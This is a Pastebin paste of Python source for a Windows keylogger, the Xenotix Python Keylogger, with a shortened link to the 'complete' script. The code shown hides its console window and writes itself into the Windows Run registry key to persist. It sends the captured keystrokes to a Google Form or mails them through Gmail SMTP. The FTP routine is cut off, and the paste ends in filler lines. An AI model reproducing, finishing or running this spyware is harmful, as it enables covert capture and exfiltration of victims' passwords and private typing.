Guest User

Free Script Python Send email

a guest
Jun 1st, 2017
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.44 KB | None | 0 0
  1.     ----------------------------------------------------------------------------------------------
  2. ^
  3. ^           Keylogger V2 Send Gmail
  4. ^
  5. ^          Download script Python Complete Link :  http://cut-urls.com/tBdd
  6. ^
  7. ^
  8. ^      ----------------------------------------------------------------------------------------------------------
  9.  
  10. Python 2.7: http://www.python.org/getit/
  11. pyHook Module: http://sourceforge.net/projects/pyhook/
  12. pyrhoncom Module: http://sourceforge.net/projects/pywin32/
  13. pyHook Module -
  14. Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/
  15. NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
  16. '''
  17. try:
  18.    import pythoncom, pyHook
  19. except:
  20.    print "Please Install pythoncom and pyHook modules"
  21.    exit(0)
  22. import os
  23. import sys
  24. import threading
  25. import urllib,urllib2
  26. import smtplib
  27. import ftplib
  28. import datetime,time
  29. import win32event, win32api, winerror
  30. from _winreg import *
  31.  
  32. #Disallowing Multiple Instance
  33. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  34. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  35.    mutex = None
  36.    print "Multiple Instance not Allowed"
  37.    exit(0)
  38. x=''
  39. data=''
  40. count=0
  41.  
  42. #Hide Console
  43. def hide():
  44.    import win32console,win32gui
  45.    window = win32console.GetConsoleWindow()
  46.    win32gui.ShowWindow(window,0)
  47.    return True
  48.  
  49. def msg():
  50.    print """\n \nXenotix Python Keylogger for Windows
  51. Coder: Ajin Abraham <ajin25@gmail.com>
  52. OPENSECURITY.IN
  53. usage:xenotix_python_logger.py mode [optional:startup]
  54. mode:
  55.     local: store the logs in a file [keylogs.txt]
  56.    
  57.     remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  58.    
  59.     email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  60.    
  61.     ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  62. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  63.    return True
  64.  
  65. # Add to startup
  66. def addStartup():
  67.    fp=os.path.dirname(os.path.realpath(__file__))
  68.    file_name=sys.argv[0].split("\\")[-1]
  69.    new_file_path=fp+"\\"+file_name
  70.    keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  71.  
  72.    key2change= OpenKey(HKEY_CURRENT_USER,
  73.    keyVal,0,KEY_ALL_ACCESS)
  74.  
  75.    SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  76.  
  77.  
  78.  
  79. #Remote Google Form logs post
  80. def remote():
  81.    global data
  82.    if len(data)>100:
  83.        url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  84.        klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  85.        try:
  86.            dataenc=urllib.urlencode(klog)
  87.            req=urllib2.Request(url,dataenc)
  88.            response=urllib2.urlopen(req)
  89.            data=''
  90.        except Exception as e:
  91.            print e
  92.    return True
  93.  
  94. #Email Logs
  95. class TimerClass(threading.Thread):
  96.    def __init__(self):
  97.        threading.Thread.__init__(self)
  98.        self.event = threading.Event()
  99.    def run(self):
  100.        while not self.event.is_set():
  101.            global data
  102.            if len(data)>100:
  103.                ts = datetime.datetime.now()
  104.                SERVER = "smtp.gmail.com" #Specify Server Here
  105.                PORT = 587 #Specify Port Here
  106.                USER="your_email@gmail.com"#Specify Username Here
  107.                PASS="password_here"#Specify Password Here
  108.                FROM = USER#From address is taken from username
  109.                TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  110.                SUBJECT = "Keylogger data: "+str(ts)
  111.                MESSAGE = data
  112.                message = """\
  113. From: %s
  114. To: %s
  115. Subject: %s
  116. %s
  117. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  118.                try:
  119.                    server = smtplib.SMTP()
  120.                    server.connect(SERVER,PORT)
  121.                    server.starttls()
  122.                    server.login(USER,PASS)
  123.                    server.sendmail(FROM, TO, message)
  124.                    data=''
  125.                    server.quit()
  126.                except Exception as e:
  127.                    print e
  128.            self.event.wait(120)
  129.  
  130. #Upload logs to FTP account
  131. def ftp():
  132.    global data,count
  133.    if len(data)>100:
  134.        count+=1
  135.        FILENAME="logs-"+str(count)+".txt"
  136.  
  137. ^
  138. ^
  139. ^
  140. ^
  141. ^
  142. ^
  143. ^
  144. ^
  145. ^    
  146. ^
  147. ^
  148. ^
  149. ^
Add Comment
Please, Sign In to add comment